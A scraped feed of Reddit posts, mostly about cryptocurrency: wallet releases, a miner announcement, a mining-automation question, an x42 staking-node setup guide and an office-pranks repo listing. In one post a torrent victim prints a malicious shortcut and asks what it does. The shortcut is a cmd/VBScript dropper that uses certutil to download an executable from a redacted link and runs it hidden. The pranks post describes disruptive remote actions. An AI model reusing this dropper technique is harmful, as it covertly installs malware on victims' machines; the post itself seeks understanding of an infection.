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QuarkCoin Cryptocurrency

Quark is a decentralized digital monetary system. It facilitates sending Quarks to Friends, Family Members Online Payments free of charges and charge-backs. Military Grade Encryption. No Bank or Government Control. Quark coins are based on the original idea of Bitcoin but improved, more secure, faster transaction times and zero fees. With improvements to design and security. There is also a greater coin supply with higher block rewards for miners. Quark is fully Open Source.
[link]

Got owned by a malicious torrent, and want to understand how it works

hi folks,
recently I got really sloppy and ended up downloading a malware... it was supposed to be a Bojack Horseman Hentai (just kidding haha) , but happened to be a malware... the file itself was a shortcut with the following commands... after all, I ran in a VM, and it seems to be a bitcoin miner or something like that... but I want to understand each part of this shortcut, because it makes a lot and is actually small and apparently doesn't need any other file to trigger, but I have no knowledge on VB or windows scripting.. if you can help please...

shortcut:
%ComSpec% /c
echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache
-f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""
&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"
----------------------------------------------------------------------------------
I change the link there, but it actually had this line breaks in the text...Here is what I manage to understand the step by step: (please correct me if I'm wrong)
- %ComSpec% /c shortcut to CMD and /c to run what comes next
- echo ???? I don't get why echoing here...
- CreateObject("Wscript.Shell") probably creating a script, is it VB script?
- .Run probably running it..
-"""%ComSpec%"" /c run again the cmd, I don't get why, also don't get this many quotations marks
- del ""%USERNAME%.vbs"" deleting a vbs file named with the username, which didn't even exist before? where did it create it in the first place? once again, why double double quotes?
- &certutil -urlcache - this mess something with the certificates on the OS, right? what exactly does?
- -f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe"" this -f is a parameter for the previous command, what is it? and next is where I think the magic happens, I change the link because I don't know if it's safe.. and it passes the processor and a exe which was probably recently created as args... when did it create this process?
- &&""%USERNAME%.exe""",0 now I think it runs this recently created exe, again with the ""quotes"", and what about this ,0 ??
- >"%USERNAME%.vbs"&"%USERNAME%.vbs" I think this > is saving it to a file, but I got no clue about this trick of using & and itself again... what is happening there?
that is it! is that everything it needed to work, or did I probably miss some file? can someone help me to understand it better? a step by step would be very clarifying
submitted by danieldiast to MalwareResearch [link] [comments]

Groestlcoin 6th Anniversary Release

Introduction

Dear Groestlers, it goes without saying that 2020 has been a difficult time for millions of people worldwide. The groestlcoin team would like to take this opportunity to wish everyone our best to everyone coping with the direct and indirect effects of COVID-19. Let it bring out the best in us all and show that collectively, we can conquer anything.
The centralised banks and our national governments are facing unprecedented times with interest rates worldwide dropping to record lows in places. Rest assured that this can only strengthen the fundamentals of all decentralised cryptocurrencies and the vision that was seeded with Satoshi's Bitcoin whitepaper over 10 years ago. Despite everything that has been thrown at us this year, the show must go on and the team will still progress and advance to continue the momentum that we have developed over the past 6 years.
In addition to this, we'd like to remind you all that this is Groestlcoin's 6th Birthday release! In terms of price there have been some crazy highs and lows over the years (with highs of around $2.60 and lows of $0.000077!), but in terms of value– Groestlcoin just keeps getting more valuable! In these uncertain times, one thing remains clear – Groestlcoin will keep going and keep innovating regardless. On with what has been worked on and completed over the past few months.

UPDATED - Groestlcoin Core 2.18.2

This is a major release of Groestlcoin Core with many protocol level improvements and code optimizations, featuring the technical equivalent of Bitcoin v0.18.2 but with Groestlcoin-specific patches. On a general level, most of what is new is a new 'Groestlcoin-wallet' tool which is now distributed alongside Groestlcoin Core's other executables.
NOTE: The 'Account' API has been removed from this version which was typically used in some tip bots. Please ensure you check the release notes from 2.17.2 for details on replacing this functionality.

How to Upgrade?

Windows
If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), then run the installer.
OSX
If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), run the dmg and drag Groestlcoin Core to Applications.
Ubuntu
http://groestlcoin.org/forum/index.php?topic=441.0

Other Linux

http://groestlcoin.org/forum/index.php?topic=97.0

Download

Download the Windows Installer (64 bit) here
Download the Windows Installer (32 bit) here
Download the Windows binaries (64 bit) here
Download the Windows binaries (32 bit) here
Download the OSX Installer here
Download the OSX binaries here
Download the Linux binaries (64 bit) here
Download the Linux binaries (32 bit) here
Download the ARM Linux binaries (64 bit) here
Download the ARM Linux binaries (32 bit) here

Source

ALL NEW - Groestlcoin Moonshine iOS/Android Wallet

Built with React Native, Moonshine utilizes Electrum-GRS's JSON-RPC methods to interact with the Groestlcoin network.
GRS Moonshine's intended use is as a hot wallet. Meaning, your keys are only as safe as the device you install this wallet on. As with any hot wallet, please ensure that you keep only a small, responsible amount of Groestlcoin on it at any given time.

Features

Download

iOS
Android

Source

ALL NEW! – HODL GRS Android Wallet

HODL GRS connects directly to the Groestlcoin network using SPV mode and doesn't rely on servers that can be hacked or disabled.
HODL GRS utilizes AES hardware encryption, app sandboxing, and the latest security features to protect users from malware, browser security holes, and even physical theft. Private keys are stored only in the secure enclave of the user's phone, inaccessible to anyone other than the user.
Simplicity and ease-of-use is the core design principle of HODL GRS. A simple recovery phrase (which we call a Backup Recovery Key) is all that is needed to restore the user's wallet if they ever lose or replace their device. HODL GRS is deterministic, which means the user's balance and transaction history can be recovered just from the backup recovery key.

Features

Download

Main Release (Main Net)
Testnet Release

Source

ALL NEW! – GroestlcoinSeed Savior

Groestlcoin Seed Savior is a tool for recovering BIP39 seed phrases.
This tool is meant to help users with recovering a slightly incorrect Groestlcoin mnemonic phrase (AKA backup or seed). You can enter an existing BIP39 mnemonic and get derived addresses in various formats.
To find out if one of the suggested addresses is the right one, you can click on the suggested address to check the address' transaction history on a block explorer.

Features

Live Version (Not Recommended)

https://www.groestlcoin.org/recovery/

Download

https://github.com/Groestlcoin/mnemonic-recovery/archive/master.zip

Source

ALL NEW! – Vanity Search Vanity Address Generator

NOTE: NVidia GPU or any CPU only. AMD graphics cards will not work with this address generator.
VanitySearch is a command-line Segwit-capable vanity Groestlcoin address generator. Add unique flair when you tell people to send Groestlcoin. Alternatively, VanitySearch can be used to generate random addresses offline.
If you're tired of the random, cryptic addresses generated by regular groestlcoin clients, then VanitySearch is the right choice for you to create a more personalized address.
VanitySearch is a groestlcoin address prefix finder. If you want to generate safe private keys, use the -s option to enter your passphrase which will be used for generating a base key as for BIP38 standard (VanitySearch.exe -s "My PassPhrase" FXPref). You can also use VanitySearch.exe -ps "My PassPhrase" which will add a crypto secure seed to your passphrase.
VanitySearch may not compute a good grid size for your GPU, so try different values using -g option in order to get the best performances. If you want to use GPUs and CPUs together, you may have best performances by keeping one CPU core for handling GPU(s)/CPU exchanges (use -t option to set the number of CPU threads).

Features

Usage

https://github.com/Groestlcoin/VanitySearch#usage

Download

Source

ALL NEW! – Groestlcoin EasyVanity 2020

Groestlcoin EasyVanity 2020 is a windows app built from the ground-up and makes it easier than ever before to create your very own bespoke bech32 address(es) when whilst not connected to the internet.
If you're tired of the random, cryptic bech32 addresses generated by regular Groestlcoin clients, then Groestlcoin EasyVanity2020 is the right choice for you to create a more personalised bech32 address. This 2020 version uses the new VanitySearch to generate not only legacy addresses (F prefix) but also Bech32 addresses (grs1 prefix).

Features

Download

Source

Remastered! – Groestlcoin WPF Desktop Wallet (v2.19.0.18)

Groestlcoin WPF is an alternative full node client with optional lightweight 'thin-client' mode based on WPF. Windows Presentation Foundation (WPF) is one of Microsoft's latest approaches to a GUI framework, used with the .NET framework. Its main advantages over the original Groestlcoin client include support for exporting blockchain.dat and including a lite wallet mode.
This wallet was previously deprecated but has been brought back to life with modern standards.

Features

Remastered Improvements

Download

Source

ALL NEW! – BIP39 Key Tool

Groestlcoin BIP39 Key Tool is a GUI interface for generating Groestlcoin public and private keys. It is a standalone tool which can be used offline.

Features

Download

Windows
Linux :
 pip3 install -r requirements.txt python3 bip39\_gui.py 

Source

ALL NEW! – Electrum Personal Server

Groestlcoin Electrum Personal Server aims to make using Electrum Groestlcoin wallet more secure and more private. It makes it easy to connect your Electrum-GRS wallet to your own full node.
It is an implementation of the Electrum-grs server protocol which fulfils the specific need of using the Electrum-grs wallet backed by a full node, but without the heavyweight server backend, for a single user. It allows the user to benefit from all Groestlcoin Core's resource-saving features like pruning, blocks only and disabled txindex. All Electrum-GRS's feature-richness like hardware wallet integration, multi-signature wallets, offline signing, seed recovery phrases, coin control and so on can still be used, but connected only to the user's own full node.
Full node wallets are important in Groestlcoin because they are a big part of what makes the system be trust-less. No longer do people have to trust a financial institution like a bank or PayPal, they can run software on their own computers. If Groestlcoin is digital gold, then a full node wallet is your own personal goldsmith who checks for you that received payments are genuine.
Full node wallets are also important for privacy. Using Electrum-GRS under default configuration requires it to send (hashes of) all your Groestlcoin addresses to some server. That server can then easily spy on your transactions. Full node wallets like Groestlcoin Electrum Personal Server would download the entire blockchain and scan it for the user's own addresses, and therefore don't reveal to anyone else which Groestlcoin addresses they are interested in.
Groestlcoin Electrum Personal Server can also broadcast transactions through Tor which improves privacy by resisting traffic analysis for broadcasted transactions which can link the IP address of the user to the transaction. If enabled this would happen transparently whenever the user simply clicks "Send" on a transaction in Electrum-grs wallet.
Note: Currently Groestlcoin Electrum Personal Server can only accept one connection at a time.

Features

Download

Windows
Linux / OSX (Instructions)

Source

UPDATED – Android Wallet 7.38.1 - Main Net + Test Net

The app allows you to send and receive Groestlcoin on your device using QR codes and URI links.
When using this app, please back up your wallet and email them to yourself! This will save your wallet in a password protected file. Then your coins can be retrieved even if you lose your phone.

Changes

Download

Main Net
Main Net (FDroid)
Test Net

Source

UPDATED – Groestlcoin Sentinel 3.5.06 (Android)

Groestlcoin Sentinel is a great solution for anyone who wants the convenience and utility of a hot wallet for receiving payments directly into their cold storage (or hardware wallets).
Sentinel accepts XPUB's, YPUB'S, ZPUB's and individual Groestlcoin address. Once added you will be able to view balances, view transactions, and (in the case of XPUB's, YPUB's and ZPUB's) deterministically generate addresses for that wallet.
Groestlcoin Sentinel is a fork of Groestlcoin Samourai Wallet with all spending and transaction building code removed.

Changes

Download

Source

UPDATED – P2Pool Test Net

Changes

Download

Pre-Hosted Testnet P2Pool is available via http://testp2pool.groestlcoin.org:21330/static/

Source

submitted by Yokomoko_Saleen to groestlcoin [link] [comments]

Office Pranks

Me and some coworkers often enjoy some pranks to lighten each other's days and break up the serious work ethic. I wanted to share this repo with everyone, full of our funniest ones:

https://github.com/kaburkett/office-pranks

Does anyone have some favorites they would like to contribute? Here is the list of pranks currently available in the repository above:

Bitcoin Miner

Reboots computer when colleage attempts to open fake bitcoin miner.

Cisco Jabber

Sets a scheduled task to call designated number once a day automatically.
Requires: Cisco Jabber client
Note: IMs can be influenced using im: as url instead of ciscotel:
im:[email protected];[email protected];[email protected]?message;subject=I.T%20Desk;body=Jabber%2010.5%20Query 
Multiple people can be called using ciscotelconf: instead of ciscotel:
CISCOTELCONF:[email protected];[email protected] 
Alternatively:
Run multiCall.cmd through powershell or cmd.

Issues

Opens Issues by Julia Michaels on users browser at startup

Excel Spreadsheet

Contains a macro that launches a webpage when the workbook is opened. Macros must be enabled. Press Alt+F11 to edit the macro and alter the webpage that gets launched.

Eject CD

Ejects cd drive on user's computer remotely.
Requires: psexec (download here: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)

Chrome Bomb

Disables chrome usability and opens 10 windows every time it's launched. The best way to reverse this is to reinstall chrome.

Mouse Jiggler

Works similarly to eject cd, but requires session id to run as user as a parameter
Requires: psexec (download here: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)
To end, run:

Keyboard Remap

Will replace spaces with dashes. Warning: after use, passwords with spaces will not work

Kill Windows Explorer

Kills windows explorer on the target machine which removes the taskbar, windows icon and closes any open folders.
This prank doesnt require any code to run.
To reenable the user must open task manager, choose add new task and enter explorer.exe

Symantic Antivirus

Displays a cmd window to fool a user into waiting for antivirus definitions to update. Finishes update at 69 and 420 %.


submitted by klbrkt to PowerShell [link] [comments]

[Miner] COSMiC v4.1t Multi-GPU (for Windows X64+CUDA Devices, 0xBitcoin/Other ERC-918 TokenPools)

Hello 0xBitcoin and Token Mining community! I'm happy to share my work with you today. COSMiC v4.1t is a public "beta" which brings multiple enhancements, including support for mining on multiple nVidia/CUDA devices in one instance and a redesigned GUI.
Suggestions/feedback greatly appreciated: I will use your input in forthcoming updates to the miner. :)
CHANGES THIS VERSION:
SCREENSHOTS:
DOWNLOADS:
INSTRUCTIONS:
COMING SOON:
WHAT'S PLANNED:
CONTACT:
submitted by LieutenantTofu to 0xbitcoin [link] [comments]

MiningPoolHub + NiceHash + WhatToMine = ?

Hi all!
Let's assume someone has the following mining objectives:
  1. Build a setup-and-forget rig, because personal time is too important to be entirelly spent monitoring hashing power and currency rates.
  2. Always mine the most profitable coin for their hardware, even if that means changing to other pools.
  3. Automatically exchange all mined coins to preffered one.
At this time the 2 most popular ways to approach these objectives are:
  1. NiceHash. It pays in BTC but has 2 disadvantages: a) Its switching algo is not transparent, so you can't be sure they always choose the best for you and b) You can't change the payout coin.
  2. MiningPoolHub. You can choose the payout coin and it supports both in-algo and multi-algo coin switching.
  3. MultiPoolMiner. Powerfull but, no GUI?
Methods (1) and (2) are different pools and cannot be used simultaneously for auto switching.
So what's left? is there a way to easily setup a rig for auto switching, without limits regarding algos, pools and miners?
Please let me know if I'm missing something.
What I am trying to do:
Yesterday I built a new small rig with 2 1070ti.
I'm using BiggerDigger, a mining automator I created.
(This post is not about promoting it, I just need some advice)
I set it up to check WhatToMine.com every 10 minutes and auto mine the most profitable coin for my hardware, using ccminer and EWBF.
The 'miners.txt' file is as follows:
# USAGE: coin_name | miner_executable | parameters | pool | wallet
BitcoinGold | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20595 | https://bitcoin-gold.miningpoolhub.com/index.php?page=dashboard | https://bitcoin-gold.miningpoolhub.com/index.php?page=account&action=pooledit Nicehash-Equihash | C:\Miners\EWBF\miner.exe | --server equihash.eu.nicehash.com --user user.worker --pass x --port 3357 | https://www.nicehash.com/minemy | https://www.nicehash.com/wallet Nicehash-Lyra2REv2 | C:\Miners\ccminer\ccminer-x64.exe | -a lyra2rev2 -o stratum+tcp://lyra2rev2.eu.nicehash.com:3347 -u user.worker -p x | https://www.nicehash.com/minemy | https://www.nicehash.com/wallet Zcash | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20570 | https://zcash.miningpoolhub.com/index.php?page=dashboard | https://zcash.miningpoolhub.com/index.php?page=account&action=pooledit Zclassic | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20575 | https://zclassic.miningpoolhub.com/index.php?page=dashboard | https://zclassic.miningpoolhub.com/index.php?page=account&action=pooledit Zencash | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20594 | https://zencash.miningpoolhub.com/index.php?page=dashboard | https://zencash.miningpoolhub.com/index.php?page=account&action=pooledit
 
In brief, I set it up to:
 
I'd appreciate any answer to the following questions:
submitted by kevinpat5 to gpumining [link] [comments]

Creating a Headless Staking Node on Ubuntu 18.04

Creating a Headless Staking Node on Ubuntu 18.04
##UPDATE## Step 8 - Option 2, has some bugs in the final build process. i haven't had time to work them out yet!

This guide will take you through building and running a headless x42 Full Node! The OS I am using here is Ubuntu 18.04, this guide picks up from a complete/fresh ubuntu install.
This is meant to setup a staking node and so this guide will run you through building, configuring and setting up staking. It will not cover sending transactions or anything else.
The things we are going to do:
  • Step 1 - Install .net core
  • Step 2 - Download The x42 Node Source & Compile It
  • Step 3 - Setting The x42 Node Up To Run On Boot
  • Step 4 - Setup A New Wallet
  • Step 5 - Configure The x42 Daemon
  • Step 6 - Get Address
  • Step 7 - Check Balance
  • Step 8 - Connect The UI Wallet To A Headless Node
  • Step 8 - [Option 1 - Use Installer] Connect The UI Wallet To A Headless Node
  • Step 8 - [Option 2 - Build/Compile UI Only] Connect The UI Wallet To A Headless Node # BROKEN#

Step 1 - Install .net Core

Here is the reference link:
https://dotnet.microsoft.com/download/linux-package-manageubuntu18-04/sdk-current
Register Microsoft Key’s & Install Their repos:
cd /tmp wget -q https://packages.microsoft.com/config/ubuntu/18.04/packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb sudo add-apt-repository universe sudo apt -y install apt-transport-https sudo apt update sudo apt -y install dotnet-sdk-2.2 
Microsoft collect telemetry data by default, if you are part of the “tin foil hat brigade” you can set the following environment variable to turn it off:
echo "DOTNET_CLI_TELEMETRY_OPTOUT=1" >> /etc/environment 
now you should be at a point where .net core is installed on your system… that wasn’t so hard was it! You can check by running the following command:
dotnet--list-sdks 
The output should look like this:
$ dotnet --list-sdks 2.2.103 [/usshare/dotnet/sdk] 

Step 2 - Download & Compile The x42 Node

This part assumes you have GIT installed, if not:
apt -y install git 
Now to pull down the source and compile it!
cd ~/ git clone https://github.com/x42protocol/X42-FullNode.git # “cd” into the source folder cd X42-FullNode/src/ 
Now .net core uses NuGet for package management, before we compile, we need to pull down all of the required packages.. its as simple as running (this will take a couple of minutes) inside of “X42-FullNode/src/”:
dotnet restore 
now we are ready to compile the source, execute (inside of “X42-FullNode/src/”):
dotnet build --configuration Release 
ignore the yellow warnings, this is just the rosyln compiler having a grumble.. if you get red ones then something went wrong! The “--configuration Release” will strip out all debug symbols and slim things down.. only a little, this optional parameter is not mandatory.
Once this is done everything is built/compiled, you can run the daemon directly from the repository, this can be done by going to:
cd ~/X42-FullNode/src/x42.x42D/bin/Release/netcoreapp2.1 dotnet x42.x42D.dll 
this will kick off the node, however if you exit SSH at this time it will kill the process! however I always recommend copying out the binaries to a separate folder. This can be done with the following:
mkdir ~/x42node mv ~/X42-FullNode/src/x42.x42D/bin/Release/netcoreapp2.1/*.* ~/x42node/ 
now we have everything we need to run the node outside the git repository! What we need to do now is run the node and have it create the default x42.conf file.. so
cd ~/x42node dotnet x42.x42D.dll 
feel free to hit “CTRL + C” to exit the application after a couple of seconds, by then the folders/files would have been created at the following path:
~/.x42node/x42/x42Main/ 

Step 3 - Setting The x42 Node Up To Run on Boot

Now we are going to create a service file so our x42 node automatically starts when the system is rebooted.
THINGS TO NOTE ABOUT BELOW.. CHANGE THE ##USER## to the username your currently using as these files are within your home directory!
We need to drop to root for this..
sudo -i cat < /etc/systemd/system/x42node.service [Unit] Description=x42 Node [Service] WorkingDirectory=/home/##USER##/x42node ExecStart=/usbin/dotnet /home/##USER##/x42node/x42.x42D.dll Restart=always # Restart service after 10 seconds if the dotnet service crashes: RestartSec=10 SyslogIdentifier=x42node User=##USER## Environment=ASPNETCORE_ENVIRONMENT=Development [Install] WantedBy=multi-user.target EOF 
To enable the service, run the following (as the root user):
systemctl enable x42node.service 
BOOM.. the node isn’t running yet.. but next time the system restarts it will automatically run!
now lets exit out of root!
exit 
We can now start the node up and begin downloading blocks, by running the following command:
sudo systemctl start x42node.service 
if you want to check its loaded and see some of the output, you can run:
sudo systemctl status x42node.service 
an example of the output:
$ sudo systemctl status x42node.service ● x42node.service - x42 Node Loaded: loaded (/etc/systemd/system/x42node.service; enabled; vendor preset: enabled) Active: active (running) since Thu 2019-01-24 15:47:55 UTC; 14s ago Main PID: 5456 (dotnet) Tasks: 23 (limit: 1112) CGroup: /system.slice/x42node.service └─5456 /usbin/dotnet /home/darthnoodle/x42node/x42.x42D.dll Jan 24 15:48:09 x42staking x42node[5456]: Batch Size: 0 Mb (0 headers) Jan 24 15:48:09 x42staking x42node[5456]: Cache Size: 0/50 MB Jan 24 15:48:09 x42staking x42node[5456]: Jan 24 15:48:09 x42staking x42node[5456]: =======Mempool======= Jan 24 15:48:09 x42staking x42node[5456]: MempoolSize: 0 DynamicSize: 0 kb OrphanSize: 0 Jan 24 15:48:09 x42staking x42node[5456]: Jan 24 15:48:09 x42staking x42node[5456]: info: Stratis.Bitcoin.Connection.ConnectionManagerBehavior[0] Jan 24 15:48:09 x42staking x42node[5456]: Peer '[::ffff:86.184.76.255]:52342' connected (outbound), agent 'x42:1.2.13 (70012)', height 213920 Jan 24 15:48:09 x42staking x42node[5456]: info: Stratis.Bitcoin.Connection.ConnectionManagerBehavior[0] Jan 24 15:48:09 x42staking x42node[5456]: Peer '[::ffff:86.184.76.255]:52342' offline, reason: 'Receiving cancelled.'. All node screen output can be found in the /valog/syslog file. 

Step 4 - Setup a New Wallet

With the Node running, we now need to setup and/or restore a wallet!
Everything will be performed through the API’s, however by default these API’s are listening on localhost (127.0.0.1), if you are connecting in remotely then this would be a problem since you cant hit that IP. The solution, SSH TUNNEL!
Execute the following command on your local system:
ssh -L 42220:localhost:42220 @ 
This binds the local port (on your system) with 127.0.0.1:42220 on the remote system, once you have executed the command you can type the following address in your laptop/desktop’s web browser and be able to access the API’s:
http://127.0.0.1:42220/swaggeindex.html 
It should look something like this:
https://preview.redd.it/9lzeg3vob8d21.jpg?width=482&format=pjpg&auto=webp&s=b5d574998816056140d5d6de7b03c56772a892fe
To Create a new wallet, first we have to generate some mnemonic works (e.g. the seed), you can do that by going to the following API:
/api/Wallet/mnemonic 
Hit the “Try it out” button which then prompts you for 2 fields:
https://preview.redd.it/dvbdllfrb8d21.jpg?width=722&format=pjpg&auto=webp&s=766d14bafba6facbcd56d31c63c0012748e682e5
Enter “English” and I would recommend 24 words as this greatly increases the seed strength! Once that is done you hit execute and then scroll down to see the “Response Body”, this should contain the mnemonic which you are going to use to create the wallet! This looks something like below:
https://preview.redd.it/6p4q0rsub8d21.jpg?width=603&format=pjpg&auto=webp&s=44b9265626467a43ca670b134c4d28187f475c2e
THIS IS VERY IMPORTANT, BACKUP THIS MNEMONIC TO A SAFE SECURE LOCATION THAT IS ENCRYPTED!!!
So now we have our mnemonic, its time to generate the wallet, for this we need to use the API:
/api/Wallet/create
There are a number of parameters which are required in order to create a wallet:
WalletCreationRequest{ mnemonic string password* string passphrase* string name* string } 
It should be noted that the password and mnemonic are is the most important parts of this request where the “password” will encrypt the wallet and Is required to unlock it.
  • Hit the “Try it out” button
  • input the necessary data
  • Insert the mnemonic
  • Put a password & passphrase
  • “Name” is what your wallet will be called
It should look something like the following:
https://preview.redd.it/958ttfbxb8d21.jpg?width=603&format=pjpg&auto=webp&s=ce48336436ea4b469b5e87513da802de0bf444ee
Hit “Execute”, the “Loading” sign may spin for a few minutes while the wallet is created… once the wallet has been created the “Response Body” will return the mnemonic you have just used.. we now have a wallet!!
HOWEVER IT IS NOT LOADED INTO THE NODE JUST YET!
This is where we will now jump back out and to configure the node to automatically load the wallet and automatically start staking when it first loads.
AGAIN BACKUP YOUR MNEMONIC AND PASSWORD, MAKE SURE THEY ARE ENCRYPTED AND STORED SOMEWHERE SAFE!

Step 5 - Configure The x42 Daemon

Now we are going to modify the x42.conf file in order to automatically load our wallet and start staking 😊
First things first, lets stop our node by running the following command:
sudo systemctl stop x42node.service 
CD to the following folder and view its contents:
~/.x42node/x42/x42Main ls -lah 
within that folder there should be 2 files you are interested in:
-rw-r--r-- 1 darthnoodle darthnoodle 18K Jan 28 16:01 TestWallet.wallet.json -rw-rw-r-- 1 darthnoodle darthnoodle 3.1K Jan 24 15:25 x42.conf 
So TestWallet.wallet.json is our physical wallet that will be loaded, but for right now we want to modify the x42.conf file.. fire up your favourite text editor (if you use VI you’re a masochist)..
nano x42.conf 
The area we are interested in is the following:
####Miner Settings#### #Enable POW mining. #mine=0 #Enable POS. #stake=0 #The address to use for mining (empty string to select an address from the wallet). #mineaddress= #The wallet name to use when staking. #walletname= #Password to unlock the wallet. #walletpassword= #Maximum block size (in bytes) for the miner to generate. #blockmaxsize=1000000 #Maximum block weight (in weight units) for the miner to generate. #blockmaxweight=1000000 #Enable splitting coins when staking. #enablecoinstakesplitting=1 #Minimum size of the coins considered for staking, in satoshis. #minimumstakingcoinvalue=10000000 #Targeted minimum value of staking coins after splitting, in satoshis. #minimumsplitcoinvalue=10000000000 
Uncomment (remove the #) of the following lines and change their value:
stake=1 (changed to 1) walletname=TestWallet (changed to our Wallet Name) walletpassword=password123 (changed to the wallet password) 
save the file and exit back to the command prompt, now we shall restart the node with the following command:
sudo systemctl status x42node.service 
now the wallet is automatically loaded and ready for action!
YES I KNOW YOU HAVE PUT YOUR PASSWORD IN CLEARTEXT, THIS IS WHERE YOU SHOULD HARDEN YOUR BOX. IF THEY CAN GET TO THE POINT WHERE THEY CAN READ YOUR CONF FILE THEY CAN JUST GRAB YOUR WALLET AND BRUTEFORCE THE PASSWORD.
You can check its loaded by going back to the API and executing the following command:
/Dashboard 
Or execute the following command on the NODE:
curl -X GET "http://127.0.0.1:42220/Dashboard" -H "accept: application/json" 
both will produce the same output, if you scroll to the bottom you should see something like this:
======Wallets====== TestWallet/account 0, Confirmed balance: 0.00000000 Unconfirmed balance: 0.00000000 
This means the wallet is loaded and ready for action!!

Step 6 - Get Addresses

Next thing you are probably going to want is a receive address and to check the balance and TX history.. so lets start with getting an address!
Go to the following API:
/api/Wallet/unusedaddress 
Fill in the Wallet name which is “TestWallet” (in this example) and “account 0” (which is the first/default account):
https://preview.redd.it/ayri5jk0c8d21.jpg?width=602&format=pjpg&auto=webp&s=2d16bbb78da49c0125d24d0834c9454d702cb7a1
Hit execute and you should have an x42 address within the “Response Body”:

https://preview.redd.it/tmc495j3c8d21.jpg?width=349&format=pjpg&auto=webp&s=b00177f66a9e24c980d3c6d4e532a33cbf3fb0bc
BOOM… ok now we can receive funds! 😊

Step 7 - Check TX History

Go to the API and the following call:
/api/Wallet/history 
The 2 fields we are most concerned about are:
https://preview.redd.it/lw194af6c8d21.jpg?width=602&format=pjpg&auto=webp&s=27e264bc008879355ff5b9c50a0a5cb06f16e960
Input the name of the wallet and account you want to view the history of, then hit execute. The other fields can be black. This will return a list of TX’s that the wallet has received:
This should look like the following:
https://preview.redd.it/x1hgargac8d21.jpg?width=585&format=pjpg&auto=webp&s=4fd25f22772f4bcec523a6e82b321ae8146a2c75
There is an easier way of doing this, that doesn’t require you to be connected to your node.. especially if your only interested in viewing your staking rewards… THE EXPLORER!
Access the following URL:
https://explorer.x42.tech/address/ 
this will allow you to easily see all TX’s associated with this address, it should look something like below:
https://preview.redd.it/e480grscc8d21.jpg?width=601&format=pjpg&auto=webp&s=0f8a9ebc7944dfcc73f7df659bd839bb983ba90c
… and your done! By this point your node should be running, staking and you have an easy way to view transactions/rewards 😊


Step 8 - Connect The UI Wallet To A Headless Node

The UI utilises a combination of technologies, however the important part is the code attempts to access the x42 Node API on 127.0.0.1:42220.
So you have 2 options here:
  1. Download the Wallet Installers
  2. Compile The UI Yourselves
Pick the option that best suits you given the pros/cons below:
Option 1 - Pro's/Cons
Pro's
  • If you use the installer, its quick and easy.
Cons
  • This also installs an x42 node on your system which runs when the UI loads.
  • If you dont setup an SSH tunnel before running the wallet the local node will bind to the port and the tunnel wont work.. you will be connecting to the local wallet!!
Option 2 - Pro's/Cons
Pro's
  • You only run the UI, the x42 node is not installed
  • you dont have a superfluous node running, downloading blocks on your local system
Cons
  • Time Consuming
  • Have to download dependencies and manually compile the code

Pre-Requirement - Needed For Both Options!!
As previously mentioned, the UI attempts to access the API's on 127.0.0.1:42220, however our node isnt running on our local system. IN ORDER TO GET IT WORKING YOU NEED TO HAVE AN SSH TUNNEL, THIS TUNNEL NEEDS TO REMAIN ACTIVE WHENEVER YOU WANT TO ACCESS THE WALLET.
this can be done by executing the following command:
ssh -L 42220:localhost:42220 @ 


Step 8 - [Option 1 - Use Installer] Connect The UI Wallet To A Headless Node

Download and install the UI/Wallet & Node from:
https://github.com/x42protocol/X42-FullNode-UI/releases

DO NOT RUN THE WALLET YET!
Those of us who dont want to run a local node and just want the UI, execute the following commands (as an administrator):
cd C:\Program Files\x42 Core\resources\daemon\ ren x42.x42D.exe x42.x42D.exe.bak 
The above is with Windows, if your are in *NIX then locate the daemon and rename it (i will update how to do that/where to find it shortly)
Setup the SSH tunnel as outlined above, Execute the wallet and it will load, however you will see an exception:

https://preview.redd.it/9os5h8q7scd21.jpg?width=550&format=pjpg&auto=webp&s=ac45ed7bc987917142075c61fb486e7d71f820d1
dont worry, this is just the wallet trying to execute/start the x42 node which we dont want, if all works according to plan.. after you click "OK" you should now be presented with the wallet UI and have the option to select what wallet you would like to load:

https://preview.redd.it/hnyt0b4mscd21.jpg?width=958&format=pjpg&auto=webp&s=a47df710a804375d8363ffcd77d1ede2862b9b4d
... DONE!

Step 8 - [Option 2 - Build/Compile UI Only] Connect The UI Wallet To A Headless Node ###BROKEN

THIS IS STILL A WORK IN PROGRESS, THE ELECTRON BUILD DOESNT WANT TO COMPILE BECAUSE SOME CODE IS MANGLED SOMEWHERE!!

Ok, this is the fun bit! .. we need to install the following dependencies. these instructions are written for a Windows system but it should be easy enough to perform the same on a *NIX system.
Install Dependencies
In order to build the wallet UI, you need to install the following components:
  • git
  • NodeJS
  • Electron Builder
First thing you need to do is install git, so download and install the package:
https://gitforwindows.org/
Next you need to install NodeJS, download and install the package:
https://nodejs.org/en/download/
Next we need to install the node package manager:
npm install npx –verbose 
next we need to make sure we have Visual Studio build tools and Python (2.7) installed, this can be done by executing the following (AS AN ADMINISTRATOR!):
npm install -g --production windows-build-tools 
this will install the necessary tools to build C#/C++ code and python 2.7, this could take some time! When its done you should have something like the following;

https://preview.redd.it/5ekfy5g1kcd21.jpg?width=490&format=pjpg&auto=webp&s=f65196dee6f78f2ececec5ee8b5df1044d68f635

Build & Install - Windows
Create a temp folder to navigate to a folder where you want to download the GIT repository, execute the following command:
git clone https://github.com/x42protocol/X42-FullNode-UI.git 
This will clone the repository into the folder, it will only clone the wallet and not the Node source! now lets CD into the folder and build the UI:
cd X42-FullNode-UI\FullNode.UI npm install 
This will download and install all dependencies (can take a while), at the end you should see something like..

